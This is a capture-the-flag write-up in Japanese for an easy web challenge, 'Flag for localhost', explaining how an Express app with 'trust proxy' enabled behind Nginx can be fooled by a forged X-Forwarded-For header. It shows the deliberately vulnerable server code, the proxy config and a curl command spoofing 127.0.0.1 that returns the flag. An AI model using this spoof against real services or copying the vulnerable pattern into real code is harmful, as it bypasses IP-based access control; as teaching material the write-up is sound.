Post

FEAT:🚩 Daily-AlpacaHack 「Flag for localhost」Easy

リバースプロキシとサーバフレームワークの設定ミスによるIP認証バイパス

FEAT:🚩 Daily-AlpacaHack 「Flag for localhost」Easy

20260606-daily_alpaca-web-easy-Flag_for_localhost

Summary

本問は,リバースプロキシの挙動とサーバフレームワークの挙動の組み合わせにより発生するバイパス手法を利用する問題です.

  • Category: Web
  • Description: localhost からアクセスすればフラグが見えるよ!
  • Tools & TechStack:
    • Javascript
    • Nginx
  • Release: 2026/06/06

階層構造

1
2
3
4
5
6
7
8
9
10
11
12
.
├── compose.yaml
├── nginx
│   ├── default.conf
│   └── Dockerfile
└── web
    ├── Dockerfile
    ├── index.js
    ├── package.json
    └── package-lock.json

3 directories, 7 files

ソースコードの調査

Nginxをリバースプロキシとして動作させ,受け取ったリクエストをWebサーバー (http://web:3000) へ転送するための標準的な設定がされています. localhost からアクセスするとフラグが見れる と問題文に記載があり,index.js でも,allowedIps[]127.0.0.1 からのアクセスのみにフィルタリングされています.

例: 127.0.0.1 以外のアクセス

1
2
curl http://34.170.146.252:42474
Access from xxx.xxx.xx.xxx is not allowed

nginx/default.conf

1
2
3
4
5
6
7
8
9
10
server {
    listen 80;
    location / {
        proxy_pass http://web:3000;

        proxy_set_header Host              $host;
        proxy_set_header X-Forwarded-For   $proxy_add_x_forwarded_for;
        proxy_set_header X-Forwarded-Proto $scheme;
    }
}

リバースプロキシとExpressの設定ミス

重要な点として,expressapp.set("trust proxy", true);1 が有効化されています. trust proxy が有効化されている場合,アプリケーションがプロキシ (Nginx) を信頼するため,req.ip で取得されるアドレスの挙動は以下のようになります.

  • 取得元: HTTPヘッダーの X-Forwarded-For の値を参照します (ヘッダーがない場合はTCP接続元IPにフォールバック).
  • 挙動: X-Forwarded-For にカンマ区切りで複数のIPが格納されている場合,Expressはそれを配列としてパースし,インデックス値 0 に書かれているIPアドレス (最左端)req.ip に格納します.

今回の,リバースプロキシの設定では,$proxy_add_x_forwarded_for2 が設定されています. これが設定されている場合,クライアントのリクエストヘッダ X-Forwarded-For に,$remote_addr 変数を カンマ区切りで格納する と記載されていました.

web/index.js

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
import express from "express";

const FLAG = process.env.FLAG ?? "Alpaca{REDACTED}";

const app = express();
app.set("trust proxy", true);

const allowedIps = new Set(["127.0.0.1", "::1", "::ffff:127.0.0.1"]);

app.get("/", (req, res) => {
  if (allowedIps.has(req.ip)) {
    res.send(`${FLAG}\n`);
  } else {
    res.status(403).send(`Access from ${req.ip} is not allowed\n`);
  }
});

app.get("/check", async (_req, res) => {
  const result = await fetch("http://localhost:3000/");
  res.send(`status: ${result.status} ${result.statusText}\n`);
});

app.listen(3000, () => {
  console.log("Server listening on port 3000");
});

偽装ヘッダを使用したバイパス

なので,偽装ヘッダ X-Forwarded-For: 127.0.0.1 を付けてリクエストした場合の挙動は以下のようになります.

  • 攻撃者X-Forwarded-For: 127.0.0.1 という偽装ヘッダーを付けてNginxにアクセスする.
  • Nginx は元のヘッダーの末尾に実際のIP (例: 203.0.113.5) を追記し,バックエンドのExpressに X-Forwarded-For: 127.0.0.1, 203.0.113.5 として転送する.
  • Express (trust proxy: true) は,届いたヘッダーの左端のIP を見るため,req.ip127.0.0.1 を代入してしまう.
  • アプリケーション側で allowedIps.has(req.ip) が突破され,FLAG がレスポンスされる.
1
2
$ curl -H "X-Forwarded-For: 127.0.0.1" http://34.170.146.252:42474
Alpaca{0verwrite_X-Forwarded-For_at_the_3dge}

Post-Mortem & Dead ends

References

This post is licensed under CC BY 4.0 by the author.